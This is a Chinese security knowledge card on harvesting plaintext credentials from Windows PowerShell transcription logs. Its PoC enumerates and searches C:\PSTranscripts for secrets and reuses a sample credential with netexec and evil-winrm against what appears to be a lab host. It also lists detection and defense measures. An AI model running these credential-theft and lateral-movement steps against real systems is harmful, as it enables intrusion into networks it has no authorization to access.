♧ Godown 安全知识树

PowerShell Transcription 日志泄露历史命令中的明文凭据

pentest/lateral-movement · verified

一句话结论

Windows 启用 PowerShell Transcription(转录)后,会把每条命令的调用与参数完整写入 C:\PSTranscripts\<日期>\PowerShell_transcript.<主机>.<随机>.<时间>.txt;管理员若在命令行中执行过 net use X: \\server\share user password 或 Invoke-Expression 等带明文口令的命令,攻击者拿到任意低权限 Shell 后读取该目录即可直接提取域账户凭据并横向。

原理

  • PowerShell Transcription 是 PowerShell 的审计/记录功能,可通过 GPO(管理模板 → Windows 组件 → Windows PowerShell → 打开 PowerShell 转录)或 Start-Transcript 启用;它把会话的输入命令与输出结果写入文本文件。
  • 默认输出目录为 C:\PSTranscripts\,按日期分目录,文件名形如 PowerShell_transcript.<计算机名>.<随机串>.<yyyyMMddHHmmss>.txt。
  • 转录内容包含 CommandInvocation(<命令>): 与 ParameterBinding(<命令>): name="Command"; value="<完整命令行>",因此命令行里的用户名、明文密码、共享路径、脚本参数都会原样落盘。
  • 典型泄露命令:net use X: \\fs01\backups ryan Serv3r4Admin4cc123!、Invoke-Expression 拼接凭据、New-PSDrive -Credential、psexec -u user -p pass。
  • 与 PSReadLine 历史不同:转录是管理员为审计主动开启的,目录可能对普通用户可读(默认 C:\PSTranscripts 的 ACL 并不总是收紧),且包含命令输出,信息量更大;即使 PSReadLine 历史被关闭,转录仍可能保留凭据。

触发条件

  • 目标启用 PowerShell Transcription(GPO 或 Start-Transcript),且转录文件已生成;
  • 攻击者已获得低权限 Shell(如通过密码喷洒、Web 漏洞、WinRM 弱口令);
  • C:\PSTranscripts 或具体转录文件对当前用户可读(管理员目录、共享目录或 ACL 配置不当);
  • 历史命令中包含明文凭据或可用于横向的账号信息。

利用步骤

  1. 枚举转录目录:Get-ChildItem C:\PSTranscripts -Recurse -Force,或 dir C:\PSTranscripts\* /s。
  2. 读取转录文件,搜索 CommandInvocation、ParameterBinding、net use、password、Credential、Invoke-Expression、psexec 等关键字。
  3. 从 value="..." 中提取用户名、明文密码、共享路径、目标主机。
  4. 用 netexec winrm <dc> -u <user> -p <pass> 验证凭据是否可登录 WinRM;也可验证 SMB/LDAP。
  5. 用 evil-winrm 登录新账户,继续枚举组与 ACL(例如 DnsAdmins、LAPS_Readers)寻找下一跳。

PoC

# 枚举转录文件
Get-ChildItem C:\PSTranscripts -Recurse -Force

# 读取并搜索凭据
Select-String -Path C:\PSTranscripts\*\*.txt -Pattern 'CommandInvocation|ParameterBinding|net use|password|Credential|Invoke-Expression' -Context 0,2
# 典型转录内容
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
# 验证提取到的凭据
netexec winrm 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'

变体与关联

  • 变体:Start-Transcript 手动转录、GPO 全局转录、PowerShell 7 的 Start-Transcript 输出路径与文件名格式可能不同。
  • 变体:其他 PowerShell 痕迹同样可能泄露凭据:PSReadLine ConsoleHost_history.txt/ServerRemoteHost_history.txt、Script Block Logging(事件 4104)、模块日志、控制台历史、计划任务/脚本文件中的内联口令。
  • 关联:[[pentest-lateral-movement-psreadline-history-credential-harvest]](PSReadLine 历史文件;本卡补充转录日志这一独立来源与 C:\PSTranscripts 路径)。
  • 关联:[[pentest-ad-dnsadmins-serverlevelplugindll-dll-privesc]](本案例中从转录日志拿到 ryan 凭据后,发现其属于 DnsAdmins 并提权到 SYSTEM)。
  • 影响边界:转录未启用、目录 ACL 收紧、命令中使用安全凭据(Credential Manager/gMSA)或凭据已轮换时,本路径失效。

检测与防御

  • 检测:对 C:\PSTranscripts 的批量读取/递归枚举;非管理员用户访问转录目录;Select-String/findstr 搜索 password、net use 等关键字。
  • 检测:转录文件中出现 net use、-Credential、ConvertTo-SecureString -AsPlainText、psexec -p 等明文口令命令。
  • 防御:收紧 C:\PSTranscripts 的 ACL,仅审计管理员可读;不要把转录目录放在普通用户可读路径或共享目录。
  • 防御:禁止在命令行内联明文口令,改用 Windows 凭据管理器、gMSA、密钥库或交互式安全提示;定期轮换已出现在日志中的凭据。
  • 防御:开启转录的同时配置集中收集与访问审计,避免日志成为本地凭据仓库。